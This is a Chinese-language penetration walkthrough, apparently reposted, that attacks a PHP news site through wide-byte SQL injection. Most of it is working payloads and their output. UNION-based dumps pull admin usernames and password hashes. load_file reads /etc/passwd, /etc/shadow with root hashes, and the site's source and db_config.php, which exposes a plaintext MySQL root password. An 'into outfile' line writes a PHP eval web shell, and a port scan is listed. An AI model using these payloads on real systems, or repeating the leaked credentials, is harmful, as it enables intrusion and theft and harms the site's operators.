站点：http:// www.2cto.com （代替目标站，非本站）
 
注入点：http://www.2cto.com /news_view.php?id=94
 
提交%bf’ 出现错误，由此可见存在宽字节注入
 
接着%bf%27 and1=1 %23 正确返回
 
%bf%27 order by 10 %23
 
返回正确 判断当前页面字段数当前页面字段数为10
 
接着渗透
 
%bf%27%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10%23
 
返回正确 返回3 9
 
用database() 爆出 数据库名字为international
 
直接爆表
 
先用dual表判断了一下information.schema.tables 是否可用
 
判断结果 成功返回3 9，这样判断information_schema.table
 
可用。
 
接着用table_name 替代3 同时在后边加上查询条件where TABLE_NAME=
 
0x696E7465726E6174696F6E616C international的十六进制
 
返回表名i_admin 初步判断为 管理员账号所在的表
 
通过limit 条件
 
接着爆表
 
i_admin
 
i_application_configs
 
i_application_information_step1
 
i_application_information_step2
 
i_application_information_step3
 
i_application_userbasic
 
i_count
 
i_department
 
。。。下面就不爆了
 
接着爆i_admin 的 字段
 
1，2,3,4,5,6,7,8,9,10 frominformation_schema.COLUMNS
 
正确返回数字
 
i_admin 十六进制0x695F61646D696E
 
加上where 条件 后  返回 字段uid
 
接着加limit条件 爆出所有的字段
 
uid
 
m_id
 
username
 
password
 
name
 
state
 
至此i_admin 的字段名全部爆出。
 
接着爆username 和password 这两个
 
问题出现了 换成username 和password 返回错误？？而uid和state没错误
 
Hex编码解决问题
 
Hex(username)
 
6A73    js
 
Hex（password）
 
63316661363261616xxxxxxxxxxxx64323062383732666663366531303936
 
c1fa62aaeb049f62d20b872ffc6e1096
 
rxxxxxxx7
 
rxxxxxxx7
 
61646D696E  admin
 
65313832613535xxxxxxxxxxxx36662626138316166636564343631
 
jxxxxxxxx2
 
7A687A
 
30343938303530xxxxxxxxxxxxxx466353730346337643336656438
 
jsxxxxxxxxxxx2
 
到此拿下后台密码
 
————————————————-
 
换一种思路
 
因为 是root权限..到这了。。
 
load_file(0x2F6574632F706173737764) //读/etc/passwd文件
 
返回
 
root:x:0:0:root:/root:/bin/bash
 
bin:x:1:1:bin:/bin:/bin/bash
 
daemon:x:2:2:daemon:/sbin:/sbin/nologin
 
adm:x:3:4:adm:/var/adm:/sbin/nologin
 
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
 
sync:x:5:0:sync:/sbin:/bin/sync
 
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
 
halt:x:7:0:halt:/sbin:/sbin/halt
 
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
 
news:x:9:13:news:/etc/news:uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
 
operator:x:11:0:operator:/root:/sbin/nologin
 
games:x:12:100:games:/usr/games:/sbin/nologin
 
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
 
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
 
nobody:x:99:99:Nobody:/:/sbin/nologin
 
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
 
dbus:x:81:81:System message
 
bus:/:/sbin/nologin a
 
vahi:x:70:70:Avahi
 
daemon:/:/sbin/nologin
 
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
 
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
 
nscd:x:28:28:NSCD
 
Daemon:/:/sbin/nologin
 
vcsa:x:69:69:virtual
 
console memory owner:/dev:/sbin/nologin
 
rpc:x:32:32:Portmapper
 
RPC user:/:/sbin/nologin
 
rpcuser:x:29:29:RPC Service
 
User:/var/lib/nfs:/sbin/nologin
 
nfsnobody:x:65534:65534:Anonymous NFS
 
User:/var/lib/nfs:/sbin/nologin
 
sshd:x:74:74:Privilege-separated
 
SSH:/var/empty/sshd:/sbin/nologin
 
pcap:x:77:77::/var/arpwatch:/sbin/nologin
 
haldaemon:x:68:68:HALdaemon:/:/sbin/nologin
 
xfs:x:43:43:X Font
 
Server:/etc/X11/fs:/sbin/nologin
 
mysql:x:500:500::/home/mysql:/bin/bash
 
apache:x:48:48:Apache:/var/www:/sbin/nologin
 
ntp:x:38:38::/etc/ntp:/sbin/nologin
 
zf_job:x:501:501::/opt/www_application/job:/bin/bash
 
angang523409:x:502:0::/home/angang523409:/bin/bash
 
syyy:x:503:503::/opt/www_application/syyy:/bin/bash
 
网站所在目录
 
读：/opt/www_application/xxxxx/news_view.php
 
0x2F6F70742F7777775F6170706C69636174696F6E2F656E676C6973682F6E6577735F766965772E706870
 
replace(load_file(0x2F6F70742F7777775F6170706C69636174696F6E2F656E676C6973682F6E6577735F766965772E706870),char(60),char(32))
 
?php include_once(‘global.php’); if(isset($_GET[id])){$sql=”update i_newsbase set hits=hits+1 where id=”.$_GET[id];mysql_query($sql); $query_view = mysql_query(“SELECT * FROM `i_newsbase`WHERE `id`=’$_GET[id]‘;”); $row_view = mysql_fetch_array($query_view); }?> !DOCTYPE html PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”> htmlxmlns=”http://www.w3.org/1999/xhtml”> head> metahttp-equiv=”Content-Type”content=”text/html; charset=GB2312″/> title> ?=$row_view[title]?> –?=$row_arr[websitename]?> /title> ?php include_once(‘header.php’);?> !–contene–> div id=”contene_”> divid=”box_l”> div id=”box_r”> divid=”l_box”> div class=”h_700″> div class=”blue”>h3>Focus News /h3> /div> ?php $query_news = mysql_query(“SELECT *FROM `i_newsbase` order by `date_time` desc limit 12 ”); while($row_news =mysql_fetch_array($query_news)){ ?> p class=”p”> span> atitle=” ?=$row_news[title]?>” href=”news_view.php?id=?=$row_news[id]?>”> ?php if(strlen($row_news[title])>40) { echo$db->titlesubstr($row_news[title],0,40).”…” ;} else echo$row_news[title]; ?> /a> /span> /p> ?php } ?> /p> /div>/div> /div> /div> div id=”box_l_”> divid=”box_r_”> div id=”r_box”> div class=”blue”>h3> a href=”index.php”>Home /a> span>» /span> a href=”news_list.php”>News /a>/h3> /div> div class=”text”> div class=”title”>?php $query_all = mysql_query(“SELECT * FROM `i_newsbase` as`a`,`i_newscontent` as `b` where `a`.`id`=`b`.`nid` and `a`.`id`=’$_GET[id]‘limit 1;”); $row_all = mysql_fetch_array($query_all); ?> divalign=”center”> ?=$row_all[title]?> /div> p> /p> pclass=”font”align=”center”>Date：?=date(“Y-m-d”,$row_all[date_time])?> /p> /div> ?=$row_all[content]?>/div> div class=”clear”> /div> /div> /div> /div>div class=”clear”> /div> div id=”ad”> /div>/div> ?php include_once(‘footer.php’); ?>
 
接着读取
 
Global.php
 
/opt/www_application/xxxxx/global.php
 
0x2F6F70742F7777775F6170706C69636174696F6E2F656E676C6973682F676C6F62616C2E706870
 
replace(load_file(0x2F6F70742F7777775F6170706C69636174696F6E2F656E676C6973682F676C6F62616C2E706870),char(60),char(32))
 
返回
 
?php include_once (‘./configs/config.php’);include_once (‘./common/mysql.class.php’); include_once(‘./common/action.class.php’); include_once (‘./common/page.class.php’); $db =new action($mydbhost, $mydbuser, $mydbpw, $mydbname, ALL_PS, $mydbcharset);$query_config=$db->query(“SELECT * FROM `i_config`”); while($row_config=$db->fetch_array($query_config)){$row_arr[$row_config[name]]=$row_config[values];$row_eng[$row_config[name]]=$row_config[xxxxx_values]; } ?>
 
读./configs/config.php
 
/opt/www_application/xxxxx/configs/config.php
 
/opt/www_application/configs/config.php
 
0x2F6F70742F7777775F6170706C69636174696F6E2F636F6E666967732F636F6E6669672E706870
 
replace(load_file(0x2F6F70742F7777775F6170706C69636174696F6E2F636F6E666967732F636F6E6669672E706870),char(60),char(32))
 
返回空。。。。。。。。无此文件
 
/opt/www_application/xxxxx/configs/config.php
 
0x2F6F70742F7777775F6170706C69636174696F6E2F656E676C6973682F636F6E666967732F636F6E6669672E706870
 
replace(load_file(0x2F6F70742F7777775F6170706C69636174696F6E2F656E676C6973682F636F6E666967732F636F6E6669672E706870),char(60),char(32))
 
返回：
 
?php include_once(‘db_config.php’);include_once(‘variable_config.php’);/****************************************************************************** 上传图片的参数说明:$max_file_size : 上传文件大小限制, 单位BYTE $destination_folder : 上传文件路径$watermark : 是否附加水印(1为加水印,其他为不加水印); 使用说明: 1. 将PHP.INI文件里面的”extension=php_gd2.dll”一行前面的;号去掉,因为我们要用到GD库; 2. 将extension_dir =改为你的php_gd2.dll所在目录; ******************************************************************************/// 上传文件类型列表$uptypes=array( ’image/jpg’, ’image/jpeg’, ’image/png’, ’image/pjpeg’,'image/gif’, ’image/bmp’, ’image/x-png’); $max_file_size=2000000; //上传文件大小限制, 单位BYTE$destination_folder=”uploading/”; //上传文件路径$watermark=1; //是否附加水印(1为加水印,其他为不加水印); $watertype=1; //水印类型(1为文字,2为图片)$waterposition=1; //水印位置(1为左下角,2为右下角,3为左上角,4为右上角,5为居中); $waterstring=”TY”;//水印字符串$waterimg=”xplore.gif”; //水印图片$imgpreview=1; //是否生成预览图(1为生成,其他为不生成); $imgpreviewsize=1/1; //缩略图比例?>
 
/opt/www_application/xxxxx/configs/db_config.php
 
0x2F6F70742F7777775F6170706C69636174696F6E2F656E676C6973682F636F6E666967732F64625F636F6E6669672E706870
 
replace(load_file(0x2F6F70742F7777775F6170706C69636174696F6E2F656E676C6973682F636F6E666967732F64625F636F6E6669672E706870),char(60),char(32))
 
返回
 
x
 
?php // 该文件为存储用户数据库的变量的文件$mydbhost = ”localhost”; $mydbuser = ”root”;$mydbpw = ”xyw1120″; $mydbname = ”international”;$mydbcharset = ”GBK”; ?>
 
目的达到：mysql 账号root ,密码xyw1120
 
/opt/www_application/xxxxx/1.php
 
select ”dddd” into outfile’/var/www/data/suddytest.php’
 
select ’<?php eval($_POST[cmd])?>’into outfile ’D:/PHPnow-1.5.4/htdocs/index2.php’
select ’<?php  echo ”HelloWorld”; ?>’  into outfile ’/opt/www_application/xxxxx/index2.php’
 
757365726E616D65
 
/etc/vpn/server.conf
 
0x2F6574632F76706E2F736572766572 E636F6E66
 
replace(load_file(0x2F6574632F76706E2F736572766572E636F6E66),char(60),char(32))
 
replace(load_file(0x2F6574632F76706E2F736572766572E636F6E66),char(60),char(32))
 
扫一下端口
 
80   Open
 
111   Open
 
1723  Open
 
3306  Open
 
1723 vpn端口，从这个角度出发。。。。。接着渗透
 
读/etc/shadow
0x2F6574632F736861646F77
 
replace(load_file(0x2F6574632F736861646F77),char(60),char(32))
 
内容如下 www.2cto.com
 
root:$1$PqDYAJMy$nrwxVO7zGgQsd.cNfzOSp0:14731:0:99999:7:::bin:$1$v/3WmY2W$jUw9sPr2kDkW0BvNB63gO.:14847:0:99999:7:::daemon:*:14215:0:99999:7::: adm:*:14215:0:99999:7::: lp:*:14215:0:99999:7:::sync:*:14215:0:99999:7::: shutdown:*:14215:0:99999:7::: halt:*:14215:0:99999:7:::mail:*:14215:0:99999:7::: news:*:14215:0:99999:7::: uucp:*:14215:0:99999:7:::operator:*:14215:0:99999:7::: games:*:14215:0:99999:7:::gopher:*:14215:0:99999:7::: ftp:*:14215:0:99999:7:::nobody:*:14215:0:99999:7::: rpm:!!:14215:0:99999:7::: dbus:!!:14215:0:99999:7:::avahi:!!:14215:0:99999:7::: mailnull:!!:14215:0:99999:7:::smmsp:!!:14215:0:99999:7::: nscd:!!:14215:0:99999:7:::vcsa:!!:14215:0:99999:7::: rpc:!!:14215:0:99999:7:::rpcuser:!!:14215:0:99999:7::: nfsnobody:!!:14215:0:99999:7::: sshd:!!:14215:0:99999:7:::pcap:!!:14215:0:99999:7::: haldaemon:!!:14215:0:99999:7:::xfs:!!:14215:0:99999:7::: mysql:!!:14218:0:99999:7::: apache:!!:14221::::::ntp:!!:14545:::::: zf_job:$1$.EE7dw2F$/G1ObIx0vfXZsZ/DBid/z0:14728:0:99999:7:::angang523409:$1$vA29oCDp$FJo378ewOAgvfu0c7tjwD0:14747:0:99999:7:::syyy:$1$38W/v5/Z$L5K9oIAdaFHH8js6fODFL/:15265:0:99999:7:::
 
 作者：137747998@qq.com